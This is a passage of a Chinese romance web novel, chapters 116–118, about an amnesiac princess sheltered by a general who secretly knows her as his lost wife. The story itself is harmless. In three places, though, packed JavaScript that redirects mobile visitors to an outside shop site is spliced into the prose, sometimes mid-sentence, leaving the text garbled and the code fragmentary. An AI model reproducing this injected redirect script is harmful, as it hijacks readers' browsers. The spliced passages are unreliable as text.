这么一想,她便将碗放了回去。 “公主……”冰绡微弱的声音传来,她因疼痛醒来。 暖暖立即回到屏风后,见冰绡正舔着干裂的嘴唇,便倒了碗水给准备喂给她。 冰绡并没有喝,而是仔细闻了闻,觉得没问题后才喝了几小口碗,沙哑的喉咙里挤出几个字来:“公主要小心那个将军,他看您的眼神不对。” 暖暖点点头,说道:“他好像并没有恶意,只是错将我当成了别人。” “他与那临闾关的将军是一伙儿的,咱们来了这么久,说不定他们已经调查过咱们。现在情况不明,公主小心为上,不到万不得已不能暴露公主身份……还有食物不要随便吃……”冰绡说完,费力地将匕首交了公主,然后体力不支又昏睡过去。 暖暖靠在床边,将剩下的半碗水喝下,一闭眼,脑海里竟出现了那将军的脸。 对于陌生的面孔,她总是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567066|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过几次后方能记住,可为何这张脸这样清晰地出现在她的脑海里,甚至连他耳垂处那颗淡淡的痣都清清楚楚。 冰绡的呼吸逐渐均匀,这大概表示已经没有危险了。 暖暖提着的心稍稍一放松,便被倦意钻了空子,她很快睡了过去,手中还端那个碗。 忽而她觉得有人在动自己,立即警惕起来,慌乱地拿出匕首对准了那人,待看清是那将军后,紧绷的肌肉才放松下来。 冷逸尘看着她眼中的恐惧,有些自责:“抱歉,吓到你了……” 暖暖收回匕首,起身时却觉得全身酸疼,骨头像散了架一般,一时没有力气,又坐了回去。 “多谢,我自己可以。”她拒绝了那将军的搀扶,坚持着自己站了起来,走到了火盆旁,伸手烤起火来。 来大营的一路上,湿寒入骨,脚下一片冰凉,她将鞋袜脱下来放到火盆旁烘烤。来大营那段路走到她脚痛,她只能隔着衣服揉一揉。 身后披风围了上来,一股淡淡的茉莉香将她环绕,有一股莫名的熟悉之感,此营帐中,除了那将军再无别人,她不好拒绝,只能受了。 不想,紧接着那将军又亲自端来一盆热水,试了试水温后说道:“鞋袜湿了会受凉,来泡泡脚。” 说着便要去捉她的脚,她立即用裙摆将脚遮得严实,使劲摇了摇头。 见她依旧害怕,冷逸尘浅笑一下收回手,之后便转过身去。 脚凉得着实有些难受,暖暖犹豫再三还是将双足泡进了水里,她本以为这一冷一热会使皮肤不舒服,可这水并不是特别热。 慢慢地温暖从足底顺着经脉向上蔓延,周身也一点点暖和起来。 她正看着脚趾缝里残留的海沙一点点滑落至盆底,那将军的靴子又出现在她的视野里。 “热水要一点一点加,来擦擦脸。”冷逸尘放下热水壶并递上热水里绞过的帕子。 暖暖接过,帕子有些烫手,但敷面正合适,她轻轻地擦着脸,目光却看向那将军的手,他的手指被烫得微微发红。 看来他十分在意那叫“叶岚”的人。 而冷逸尘的目光落在她发髻上的那根珍珠簪上,心中有了一些欢喜,她一定会记起来的。 见他看着自己,暖暖下意识地摸了摸发髻。 他坐下,汇报似地说道:“我已安排人马朝劫匪逃窜方向去追了,又飞鸽给宁远城的驻军,让他们阻击劫匪,你放心,人一定会找到。” “多谢将军。”暖暖说完才发现双足就这样露在这男子面前,她不由得有些难为情。 正想将脚收回来,那将军却将壶里的水倒了一些在盆中,说道:“再泡一会儿,脚受凉,肚子会不舒服。” 他怎么会知道?她愣了一下,迟疑地说道:“你……大概认错人了吧……我不是你说的那个人…” 冷逸尘没有正面回答,而是说道:“我叫冷逸尘……” 暖暖在记忆里搜寻着这个名字,却找不到一点痕迹,得到的只是头痛。 她有些愧疚地摇摇头,她以为对面之人会继续问她记不记得其它的事,不想对面之人却说道:“没关系,平阳公主殿下,我知道你的头疾,但会好起来的。” 暖暖猛然抬头看他,问道:“你怎么知道,你调查我?” 116. 思君不敢言 对于她的一切反应,冷逸尘小心翼翼观察着,然后思考该如何回答,生怕说错什么。 他并没有直接挑明他们之间的关系,而是说道:“我是你哥哥的……故交。” 此前他们成婚之时,他隐瞒实情,致使二人之间浪费了许多时间与精力,既然上天又给了一次相遇的机会,他们便可以重新来过,他不想说出实情,但也不想重蹈覆辙。 暖暖一听便想到了叶皓,只有这个哥哥曾浪荡江湖,或有可能与祁国将领相识,虽然这样想,但她还是试探着问道:“哪个哥哥。” “叶皓。” 暖暖听他如此准确,且毫不不避讳地说出了梁国国君的名字,便知他二人关系匪浅,她又问道:“你怎么会认识他?” “我们是好友,而且我也知道你现在是平阳公主叶青。” 什么现在?难道还有以前?暖暖回忆不起来,只觉得头仿佛被铁箍一点点勒紧,没有人告诉她这些?她到底有过多少过往? 头痛让她本就不多的体力快速流失,头无力地垂下去。 “怎么了?我去叫军医。”冷逸尘怕她坠落下去,用手托住她的胳膊、 “无妨,我……头痛,睡一觉便好。”暖暖说完便起身。 此时她身体摇摇晃晃,还赤着双足,冷逸尘俯身将她打横抱起,送到了床上。 暖暖只觉得很累很累,说了声“多谢”的同时昏睡了过去。 冷逸尘为她盖好被子,轻轻捋顺她的碎发,看着她眉头微蹙的眉头、憔悴的面庞,心中疼痛无比。 此刻,他好想拥抱她、亲吻她,告诉她自己是谁,告诉她自己心中的后悔与愧疚,告诉她自己寻不到她的痛苦和此时的激动兴奋,和她说一说这两年来自己是如何度过的…… 可她的眼神,和在西塘村那晚一样,总带着一种戒备、担忧与恐惧,他只能克制住自己。 此时已入夜,周围一片寂静,只有偶尔传来的巡营军士的脚步声,他一直坐在榻边看着她,这一次,说什么他也不会再放弃她了。 晨光熹微时,暖暖醒了过来,看着周围的陌生的环境,一阵茫然。这是哪里?她回忆了好一会儿,才隐隐约约将昨日之事记起来,可她是怎么睡到这里来的? 下床的时,脚底传来一阵阵刺痛。她抬起一看。原来是脚下磨出了血泡,但已被处理过,上了药膏,鞋袜整齐地摆放在脚踏上。 也顾不得去探究缘由,穿上鞋袜去看冰绡,她面色微微发黑,嘴唇也是乌紫色,发着高热,情况不容乐观。 她正要去找那将军,却见昨日那将军进来,身后跟着端了食物和水盆的军士。 “她发烧了……”暖暖求助的眼神看向他。 “我知道,她中毒了,军医一早来看过,给她服了药,暂时无事。咱们先用些早膳,之后便出发,去临闾关。”冷逸尘引着她坐下,亲自为她盛了一碗鸡汤交到她手里。 “可我要去宁远城。”暖暖看了一眼眼前的男子,大概是因为已经梳洗过的缘故,他看上去精神了不少。 “去宁远城做什么?”冷逸尘拿起一个馒头来。 暖暖未语,她不能说是去找季萧,但又不想用别的理由欺骗他,只能以沉默应对。 男子又夹了一个小馒头放到她面前:“去宁远城也可以,只是从此到宁远城要两日,且路途颠簸,她的伤势只怕会撑不住。” 暖暖转头看了看冰绡,的确,她现在急需好好救治;再者,若此时去找季萧,会不会也将绣衣卫暴露?经过一番思索,她最终还是答应了回临闾关。 很快军队启程,她本以为会随着大军一起走,未想那将军却将军队交给了副将,亲自带侍卫护送她们。 一行人走到很很快,午后便到了临闾关,而车马进了关城城门后,并没有进入城内,也没有人来询问她们的住处,而是沿着城墙向南行。 冰绡掀开车窗帷幕,看了看天色与周遭环境,不由得紧张起来,身上的伤口疼痛,又是一身冷汗,她警惕地说道:“公主,这不是进城的路!咱们不能跟他们走。” 暖暖叫停车马,掀开帷幕对那将军说道:“多谢将军相送,烦请将军将我们送至城内。” 冷逸尘命队伍停下,下马进入车内,耐心地同她们解释道:“这条路直通临闾关大营,大营中有最好的医药,可救她性命,公主放心,我即刻想办法与叶皓联系,定能保证公主安全。” 的确是完美的安排,暖暖想不出其它的理由来拒绝,看冰绡的样子,似乎毒已深入肌理,关城中的绣衣使已不多,不一定能救得了她们。 她不顾冰绡的反对,再次答应并感谢。 待那将军下车之后,冰绡塞给她两个平安符,并教她画了一个特殊的符号,说道:“公主,若有机会,将这两个平安符丢到外面,或者画下记号,绣衣使看到了会明白是什么意思。” 暖暖将平安符藏进袖子中,点头答应,可这一路上却无机会丢出,只得先小心收藏。 沿着城墙走了一段路,通过一道关卡,便到了一处军营,马车进入军营后在东面的都尉府处停下。 冷逸尘早已遣人来通报他今日归来,都尉府管家陈安早已在正门处等候。 陈安,原是军中法算,此前代管崇宁王府府务,如今是都尉府管家。他见殿下竟然带回两个女子来,简直要惊掉下巴。 想当年殿下与王妃何等恩爱,王妃故去后,殿下痛不欲生,还要打起精神来处理政事,那段时间他真担心殿下会撑不过来。 当他见到马车上下来的女子后,暗暗吃了一惊,这女子的容貌竟与先王妃有九分相像。 他本以为是殿下放下了,终于又遇到了心仪的女子,却未想只是找了一个替代品,他边感叹着边即敛了神色,着人去安排沐浴、膳食事宜。 经过军医的一番针灸刮痧诊疗,冰绡沉沉睡去,暖暖一直守在她身边,心揪成了一团,但见她的唇色一点点变成粉红色,才安下心来。 一番忙碌已是太阳偏西,自有婢女进来为冰绡擦洗身体,更换衣衫。 这时一个侍女上前对暖暖说道:“请小姐随奴婢去沐浴更衣。” 此时她的确需要好好梳洗一番,便随那婢女出了门,却见那位将军坐在院中,见她出来,起身迎了上来, 看他一身风尘的样子,像只是脱了铠甲,并未去沐浴休息。 暖暖真心感谢他,规规矩矩地行礼:“多谢将军救命之恩。” 冷逸尘看她一本正经的样子,有些想笑,她何曾这么有礼貌过,之后又有些心酸,她是对陌生人才这样。 为不露破绽,他也规规矩矩地还礼:“客气了,你且在这里安心住下,等你哥哥的回信。” 暖暖再次道谢,之后便跟着侍女去沐浴。 跟着侍女走了一段路,来到一处浴室,浴室之内萦绕着淡淡的茉莉香。她脱去衣衫沉浸在热水中,双眼微闭,连日的劳顿疲惫一点点化在水中,令她觉得清爽起来。 她泡了很久,期间只有侍女偶尔进来添加热水,温热令她有些困倦,终于眼皮有些支撑不住,她才从浴桶中出来。 侍女将衣架上衣衫为她穿上,这是套全新的淡粉色衣裙,竟是她喜爱的颜色。她本以为会借用侍女的衣服,未想她们竟然有准备。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14581997|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>衣衫穿在身上略紧一些,若是自己再瘦一些便正合身,困倦让她无力去想衣服之事,她现在只想好好睡上一觉。 擦干头发,简单挽了个发髻,打开门才发觉日已西沉,绮丽的霞光中站着一个身着天青色长衫的男子,男子闻声转身,脚步不自觉地向她靠近。 他打量着她,眼中带着温柔笑意,久久没有说话。 “将军……”暖暖被他看得有些不太自在,出言提醒他。 “我……在等你用晚膳。”冷逸尘有些慌乱地将目光错开。 “有劳将军了。”暖暖本想拒绝,但她已然住到人家家里了,客随主便,不可再另给人家添麻烦。 膳食已摆放到屋内,从这里过去要走一段路,冷逸尘在前面带路,二人保持着一尺的距离。 沉默氛围让暖暖觉得有些不自在,她主动开口:“这几日要麻烦将军了,将军与我哥哥是何时相识的?” “已经很多年了……” “你们是怎么认识的?” “江湖上遇见的……”冷逸尘不知道她记得哪些,只捡无关紧要的回答。 没说几句话到了这院子的正殿内,桌上的膳食皆是南方菜式,且有几样是暖暖平日里喜爱的。 她悄悄看了一眼身边的男子,只见他神色从容,似是平常,不禁心中怀疑他是不是南方人,可看他的样貌似乎又不像,这些难道真的是为了招待她而准备的? 席间,她未敢多用,头脑已隐隐有些发痛,若一会儿头疾发作起来,呕吐的样子太难看。 “怎么?不合口味?你想吃些什么,我再让厨房去做。”冷逸尘见她只慢慢喝着一碗粥,不免有些担心。 暖暖笑着摇摇头:“很好,不必麻烦,是我……不饿。” “怎么会不饿,这一日都没有正经吃东西了,可是哪里不舒服?”冷逸尘放下碗筷,关切地问道。 暖暖抬眸了对方一眼,眼中闪过一丝诧异,这般关心的言语,大约只有挚友之间才会说得出来。 还有这头痛,她觉得自己已经是极力克制了,未表现出异常,未想他竟然能看得出来,如此她也不再隐瞒:“只是有些累了,头有些痛。” “我去叫军医来看看。”冷逸尘说着就要出去吩咐。 暖暖也立即起身阻止道:“真的不必麻烦了,将军,我已用好了,先去休息了。”说完便要往外走。 “你在这里安歇便好。”冷逸尘拦住她,之后吩咐人将膳食撤下。 暖暖没有力气再推辞,只能听从她的安排,但见他没有要走的意思,便说道:“将军今日辛苦劳顿,也请将军早些安歇。” “好……”冷逸尘也察觉出自己的不妥,十分不舍地转身出去。 暖暖这才松了口气,简单洗漱过后,终于躺在了床上。 她辗转反侧,这将军这般热情,难道仅仅是因为四哥的原因?或者他是见色起意?虽说自己长相不算差,却也不是倾国倾城的相貌,他身居高位想要什么样的女子没有。 可这将军礼数周全,又似乎不像是肤浅之人,能与四哥成为朋友,想必品行也不会差。 或者,有没有可能,一切都是表象,他在伪装,甚至他不是四哥的朋友,只因她长得与他口中那叫“叶岚”的人相似,想用她来当替身。 冰绡说得对,人心不可测,她们到这里有一段时间了,若有心想知道她们的背景,早已将她们调查得一清二楚。 回忆着这些日子发生的事,尤其是那那日,那白衣将军来道歉更像是试探。 越想越蹊跷,越想越忐忑,越想越头痛,她要想办法尽快联系绣衣卫。 117. 犹疑是梦中 一夜不安。 次日暖暖早早醒来,看天色应该已过卯时,可外面却很安静,没有任何洒扫之声。 她起身环顾这住处,才发现这间屋子的布置陈设极为考究,一看便是女子的卧房,细看之。竟与她的喜好相近。 卧房内还置有一张书案和一个书架,书案上摆着的书册与纸砚。 她捡看着书案上的书册,竟也是她平日里喜爱的,想必这是那将军夫人的卧房,这位夫人定是才貌俱佳,说不定能与她成为知己。 书册在案,可她人去哪里了?怎么不见她来招待女客? 疑惑间,又瞥见书架上有一本书已卷边,似乎是常看的,拿起来一看,是《九域志》。 这本书算是杂书,她曾经读过,是她四哥哥给她的,她还记得四哥哥在书上做了标注。 随手翻开,她不禁疑惑起来,这分明就是她曾经看过的那本。 她疑心自己没看清楚,走到窗边,借着外面的天光仔细看了批注的字迹,的确是叶皓的无疑。 怎么会是这样?难道是她想错了?那将军与哥哥真的是好友?想必他十分珍视这本书吧,以至于交于夫人保管。 此刻,脑子有些糊涂,想不通其中的缘故,决定还是先去看看冰绡。 她整理了床榻,没有水洗漱,只能用茶壶里的水漱了口,对着镜子挽了个简单的发髻。 出了房间,天色还是一片灰蒙蒙,东方还未见鱼肚白,院内空无一人。 这都府很大,昨日实着实是太累了,不曾用心记得来路,现在只能摸索着一点点找。穿过几个门,走过几段连廊,绕了一圈竟又回到了原来的院子。 她换了个方向,穿过一个小门,走了几步竟到了都府中庭。 一阵长剑破空之声传来,隔着树荫,看见那将军正光着上半身在练剑,身后两个护卫侍立在侧,一人拿着衣衫,一人拿着剑鞘与帕巾。 离得太远,只能看到那将军的轮廓,但觉他身形流畅,肌肉匀称,虽瘦却不露骨,舞起剑来十分的好看。 再看那剑招,暖暖心中一惊:长右山。 她想上前去问个清楚,可看到他未着衣衫,又顿住脚步,若此时过去怕是不妥。 大约是看得入了神,她的鼻尖不小心蹭到了树枝的嫩叶,有些发痒,忍不住打了两个喷嚏。 这也惊动了中庭里的三人,那三人齐刷刷地将目光投向这边,虽说有花枝树荫相遮,但依旧能看清是谁。 毕竟是偷窥,暖暖有些不好意思,忙将目光转向别处,抬腿却不知向何处走。 慌忙中选了一条路,走了十几步发现不对,便又折返回去,低着头又走了几步,却撞在一个人身上。 她揉着额头抬眸一看,那将军正笑意盈盈地看着自己,只见他已穿好衣衫,脸上有些发潮,发根处还有汗水,右臂上搭着一件披风。 暖暖因窘迫而红了脸,后退一步,带着歉意说道:“实在……抱歉!” 冷逸尘语气轻柔地玩笑道:“是因为撞了我而道歉?还是因为偷看看我而道歉。” “我……不是……没有……是没看到路,撞了你,抱歉。”暖暖些慌张。 冷逸尘欲将披风披到她身上,她后退半步拒绝。 他解释道:“刚到寅时,晨露重,小心着凉。” “刚到寅时?可天已经很亮了。” “这里偏北,天就亮得要比梁京那里早些。” 暖暖听了一惊,抬眼直勾勾地看着他,小心地问道:“你去过梁京?” “是的,我去过两次。” 暖暖更加疑惑,看着这张面孔,她脑中突然闪现出一幕:她的剑曾刺向这个人,然后是一片鲜血。 她不确定地说道:“我好像记得你了,你叫冷逸尘,对不对?” 这个名字她听叶皓提起过,就是那个一直送她礼物之人,只提名字她不知道是谁,但如今细看面相,她似乎在石城湖畔见过他,而且用剑伤了他。 冷逸尘面露欣喜之色,忙问道:“是,我是叫冷逸尘,你真的……记得我?” “你曾与我哥哥提过亲,对不对?我记得在石城湖棒锤石旁的石滩上,我们闹了些矛盾,动起手来,我刺了你一剑,对不对?” 显然她记错了,冷逸尘犹如被浇了冷水,心中一阵绞痛。 她把他当作了另一个人,而且他们关系应该很亲密,否则她不会如此发脾气,甚至刺了那人一剑。 她心中有别人了? 暖暖见他不语,神情十分落寞,不知自己是不是说错了,但是她的记忆中就是这样。 她抬手指着他的胸口偏右的位置,说道:“我记得很清楚,是刺在这里了,流了很多血,应该会有疤痕。” 冷逸尘二话没说,将上衣扒开,整个上身都袒露了出来。 暖暖看着他右侧胸膛的肌肤光滑平整,没有一点瑕疵,而左肩上却有一块莲子般大小的伤疤。伤疤处皮肤颜色偏深,一看便是伤口长期未愈合而留下的。 这该有多痛啊!她看着那伤疤,竟有些心疼眼前之人,不自觉抬手伸向伤疤处:“这个伤口,应该很痛吧。” 冰冷的指尖触到男子温热的肌肤,这一瞬间,手颤抖了一下,暖暖才恍然自己的失态,想抽回手时,手却被这男子紧紧抓在手里。 冷逸尘将她的手移至心脏处,将手掌展开贴到肌肤上,缓缓说道:“这里……更痛。” 冰冷的手掌感受着一片细腻的滚烫,使暖暖的心似乎要从胸膛里跳出来,刚刚恢复的脸色一下子又如石榴花一般。 她低下头,使劲将手抽回,结结巴巴地叉开话题:“我要去看冰绡……”说完要走,却不知道选哪一条路。 她这是心动了,看来那人不如他,冷逸尘似乎一下见到了阳光,心情大悦,整理好衣服说道:“随我来。” 暖暖在他身后,与他跟保持两步远的距离,低着头看着触碰过男子肌肤的手,上面似乎还留有他的体温,回想刚才的举动,心中懊悔不已:怎么自己也这般轻佻。 抬头看着这从容的背影,又有些愤恨:他竟然还能镇定自若,自己有夫人还敢去提亲,果真是个登徒子! 冰绡已经好了很多,但身体虚弱得很,她看公主的样子,应是受到礼待,便松了口气,但还是谨慎地问道:“让公主为属下忧心了,他们可曾苛待公主?” “不曾,那将军说他是陛下的朋友,也知道我叫叶青,冰绡,你知道这是怎么回事吗?” 冰绡思索了一下,摇摇头:“属下跟随公主之前一直是在外执行任务,不未跟随陛下左右……那将军若想知道这些,一定会有办法查到,他的话公主不要全信,要留有戒心。” “我也有怀疑……但是他有陛下曾经标注过的书册,我仔细看过,错不了。” “一切都有可能造假……”冰绡疑虑难消:“眼下,还是要赶紧与绣衣使联系上。” “我再想想办法,出了府衙便是军营,这事有些困难。” “公主小心为上,也不要为难,若季萧等不到咱们,他也会来寻找的。” 二人正说话间,响起了叩门声,侍女端着药和饭食进来,回禀道:“小姐,将军在外面等您。” 这人怎么一刻也不离开?且让他等等! 暖暖协助侍女给冰绡的伤口换了药,又看着她用了早 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“给我诊治?我没生病……” “只是昨日见你身体不适,便命军医来瞧瞧。” 暖暖笑着拒绝:“我……真的无事,有劳将军了。” 说话间有侍卫来回禀:“将军,军医已到。” 冷逸尘说道:“命他进来吧……”但随即又改了注意:“等等,我先去看看。”之后便带着侍卫离开。 莫不是要串通什么?暖暖一阵疑惑,她叫住屋内走出来的侍女,问道:“里面怎么样了?” “回小姐,里面的姑娘已经睡下了。” “怎么又睡?你们给她吃的什么药?” “奴婢不知,都是军医开的药,军医说姑娘身体虚弱,需要多休息。” 大约这药有助眠的作用,暖暖又问道:“怎么不见将军夫人?” 侍女沉默片刻回道:“小姐恕罪,奴婢不知。奴婢是新近才入府的,只知将军去年秋天才调任这里,从未听说过将军夫人。” 其它的她不敢多言,此前有婢女进了将军卧房,立即被管家行了杖责,她们不敢多口舌。管家出身军旅,治府极严,阖府上下皆谨言慎行。 侍女说罢,行礼告辞。 没有夫人?原是她想错了,那屋子或是上一任将军夫人留下来的。 暖暖忽觉轻松起来,拍了拍脑袋,到底在胡思乱想些什么?他有没有夫人与她有什么关系呢? 正想着,脚步声传来,那将军带着一位花白胡须的军医进了院子。 暖暖坐于廊下,就地让军医诊脉。 军医搭了左右手的脉,又问了些症状,眉头微蹙良久才说道:“肝肾不足、气血虚亏,待老夫开一副八珍散,姑娘先服用一个疗程。” “去开药方吧。”冷逸尘发话。 军医行礼后辞去。 肝肾不足、气血虚亏,每个医者都是如此说辞,暖暖听闻又要服药,有些不悦,拒绝道:“有劳将军了,类似的药方我已试过十几个了,总不见效,大约是我自身的原因,药方不必开了,我现在并未觉得有什么不适。” “我有些累了,告辞。”暖暖说完,便独自离开。 “这……这……”旁边的侍卫黎平,看得目瞪口呆,这个女子胆子真不小,竟然敢当众驳了将军的面子。 “将早饭送至清和轩内。”冷逸尘看着暖暖的背影,嘴角露出一抹笑意,这才是她。 军医暗中瞧见那姑娘走远,便又向将军来回禀。 118. 色授而心愉 军医回禀道:“将军,姑娘的虚症已见好,但这药还是服用得好,对头疾有缓解作用。” “那这失忆……” “恕下官无能,适才诊脉,只觉姑娘胸部气滞血淤,恐是根由。” 气滞血瘀,冷逸尘又想起之前与叶皓的猜测:太一玄门剑法的心法所致。 如此,他便要再继续研习此剑术的心法,寻求破解之道。 军医继续说道:“将军,下官曾有一位友人,人称宋神农,常年行走江湖,或可治疗一二。” 冷逸尘命令:“想办法找到他。” “下官这就去打探他的行踪,只是此人性情孤傲,怕是不容易请来。” “先找到再说。” 后半句“绑也要绑来”冷逸尘没有说出口,若是以前,他不会行此强迫之事,但为了叶岚,只要有一线希望,他什么都可以去做。 一阵风吹过,海棠花瓣纷纷飘落,他伸手接住一瓣,紧紧握在掌心。 花瓣飞舞,暖暖问跟着的侍女:“你们这府邸中怎么这么多海棠。” 侍女摇头:“奴婢不知。” 暖暖回到住处,到了院门抬头一看,牌匾上书“清和”二字。 这两个字真好,大家争着抢着用,她将剑拔出一节,上面也是“清和”二字。 看到剑,她才想起那将军的长右山剑法,当时只顾地看他那身子,竟忘了问这么重要的事。 原来自己才是见色起意之人,她为自己感到羞耻。 刚进了屋内,两个侍女也提着食盒进来,将食物一一摆开。 香气四溢,瞬间勾起她的食欲,她已经两三日没好好用饭了,这会儿倒觉得饿了。 坐下刚要动筷子,那将军便进来,她无奈只得放下筷子,起身相迎。 冷逸尘还礼后坐于她对面,大有与她一起用饭之意。 这是在人家家里,她又怎能拒绝,于是主动邀请道:“将军还没用过早饭吧,一起?” “好。” 她的话还未完,对面之人就点头答应,似乎就等着她这句话。 可恶,中了他的圈套! 一顿饭默然无声,暖暖只低头用饭,心想着如何问他长右山之事。 “别只喝粥,吃些主食。”冷逸尘夹了一个水晶虾饺放于她面前。 突然被打断,一口粥咽错了地方,她咳了起来,但她不想对面的男子看到这副狼狈像,便极力忍着,不敢咳得太大声。 良久,嗓子中的米粒也没有出来,她索性不吃了,要了水洗手漱口,随后喝起茶来。 冷逸尘匆匆用完,命人撤了饭食,留了一碟牛乳小馒头端至她面前:“是我不好……” “是我自己不小心,不怪将军。”暖暖拿起一个,表示接受他的歉意,之后犹豫着问道:“早上你练的是长右山……” “是长右山剑术。” 又是没有问完就得到了答案,似乎他知道自己要说什么,她干脆问道:“你到底是谁?” “你哥哥是我师兄,我们是长右山同门。你还记得你的剑术是谁教的吗?”冷逸尘一边说一边观察她的反应。 “我……不记得了,我想应该是我四哥哥,但是他未曾同我说过这些。” 看来她是一点也不记得了,冷逸尘将话题转移到到失忆上:“你的病症,师兄曾告知过我,放心,我已经派人去寻郎中了,一定会医好。” “多谢,但是不必费心了,医了这么久,一点用都没有,就这样下去也很好。”暖暖早已不抱希望。 “可……我希望你能记得我……”冷逸尘失落的语气中略带一丝请求。 暖暖转头看向他,对面之人眼中竟有委屈,她带着猜测问道:“我们从前……很熟悉?” “我们是……朋友。”冷逸尘喃喃地说道。 好熟悉的话语,暖暖有些诧异,她忽而想起,这话她对于文则说过,可那时她又觉得这句话是对别人说的。 唉!一句话而已,哪有那么复杂。 “哦……是朋友……”她的言语间略带迟疑,对于这个不清楚的事实,她不想承认、但也没有否认。 “你的脚还需上些药膏。”冷逸尘说着俯下身,伸手欲摸她的鞋。 轻浮!暖暖不由得皱了眉,将脚往回收了收,羞涩地低下头去。 冷逸尘抬头看她,眼底流转的微光带着真诚,没有半分轻佻,似乎在说:放心。 暖暖从这目光中,竟感受到一股莫名的信任与安心,紧绷的腿渐渐放松下来。双足被他缓缓抬起,脱了鞋袜置于他的膝盖上。 清凉的药膏缓解了不适,可她却没有感受到男子手指的温度,这才发现他所触之处全都隔着衣服,就连涂抹药膏都是用的软布,全程二人没有肌肤之触。 这会儿倒是正人君子了……她带着一丝探究看向他的侧脸,那张英俊的脸上没有任何异常,似乎这只是平常。 难道他们们之间真的曾经很熟悉?或者,他对每个女子都会这样。 “好了……”冷逸尘轻轻吹了吹结痂处,抬眸正对上她的目光。 她慌乱地错开眼神,将手中的馒头塞入口中,收回双足,急急穿好鞋袜,站起身来不知所措。 这……太暧昧了。 看着她这副样子,冷逸尘不自觉地笑了,但随即又将笑容敛了起来,轻咳了一声缓解这略带尴尬的气氛。 暖暖忽然触到衣袖中的平安符,这才是头等大事,她提议出去走走,在这小空间里,容易让人误会。 冷逸尘立即说道:“好,去海边,可以吗?” 叶岚最喜欢的就是海边,到了那里,也许会记起些什么。 暖暖的本意是出大营去,但估计这将军也不会同意,而她也没有合适的理由出去,只得点点头,等到了海边再找机会。 她本该在今日到达宁远城,季萧没有等到她们,肯定会派人来找,也不知道他们能不能找到这里。 二人各怀心事出了院子。 暖暖本以为要走上一段路才到海边,未想出了都府角门,穿过一片小树林,大海豁然出现在眼前。 沿着海岸线一路前行,二人有一搭无一搭地聊着,话题是关于叶皓的,冷逸尘有意无意地将过往之事提及,试图唤起她的回忆或者让她接受这就是过往,但他又不敢说得太多,怕她再受刺激,引发头疾。 “你在哪里认识的我?”暖暖捡了一个完整的橙色贝壳。 “在……在重峪关。”冷逸尘说了谎。 他心中十分自责,他从未对她说过谎,但他私心不想让她记起重峪关的事,他是那样狠心,将她抛下。 “重峪关在哪里?她们说哥哥就是将我从重峪关带回来的。”海风的声音让暖暖并未听出他语气的变化。 “在祁囯与梁国的边境处,你在那里受了伤。” 这件事是冷逸尘此生最后悔的一件事,心中的疼痛让他拧紧了眉头,他快走一步上前,不想让她看到自己的表情变化。 下一步她肯定会问,在哪里发生了什么事?但他不知该如何回答,脚下不自觉又快了一步,想逃避这个问题。 但等了许久也没有听到她的声音,回头一看,自己已经走了一段距离,而她并没有跟上来,他赶紧折回。 暖暖正面朝大海,她闭上眼睛,感受着海风带着微咸的空气,轻拂过她的面庞和发梢,海浪冲刷沙滩的声音令她感到前所未有的放松。 冷逸尘看着她那洒满阳光的面庞,带着享受的表情,心中一阵激动,双手紧握成拳背到了身后,也看向大海,生怕自己克制不住自己的感情去拥抱她。 “这样就很好……”暖暖突然开口:“过往我不想去探究了,现在这样就很好,就像这海浪,后浪推前浪,总要向前的。” 说罢她继续前行。 不去探究了?那么他们那些过往,或甜蜜、或苦涩,就这样被抹去了吗?冷逸尘的心中又是一紧。 他看着她脚步轻盈的背影,忽然理解了“向前看”这三个字,随即豁然开朗,快步追上,拉住她的胳膊问道:“那么,你以后的人生里可不可以有我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她一扬手,向马臀轻抽一鞭,马儿嘶鸣一声,顿时加速,向前猛冲出去,马蹄踏着海浪,水花四溅,她们宛如一阵风,从大海上呼啸而过,不一会儿便到了东边城墙的起始处。 她驻了马,这一阵狂奔真是痛快,久违的感觉,似乎已经很久没有这么恣意过了,她用袖子擦擦汗,此时,那将军才从后面赶上来。 “骑术……真不错。”冷逸尘本想说“有长进”,但是改口为“真不错”。 “是你这匹马好。”暖暖说着拍拍马头,以示奖励。 前面已没有路,城墙的起始处在海中,她看着高大的城墙,真是宏伟,若站到上面一定能看得很远。 “上去看看?”冷逸尘下马问道。 暖暖惊讶地看了他一眼,下马道:“你这观人术倒是学得不错,竟知道我想去看看……”但这样说似乎又露了破绽,于是改口道:“我从来没有见过这样高大的城墙。” 她下了马,不自觉地搓了搓手指,缰绳粗糙,她这细皮嫩肉的手已被勒红。 冷逸尘接过她手中的缰绳,招呼一个驻守的军士过来将马牵走,之后掏出药膏,拉过她的手,轻轻涂在发红的手指处。 暖暖没有拒绝,就这样看着他涂药,他的手指上长有老茧,接触起来是粗糙的感觉,可他动作却是轻柔的。 清清凉凉的感觉缓解了灼烧感,等快涂完时她才发觉,这样似乎不对,于是说道:“谢谢,我自己来。”虽然这样说着,却没有要接过药膏的意思。 “好了……”冷逸尘轻轻吹了吹她的手,收起药膏后后带她登上城墙的台阶。 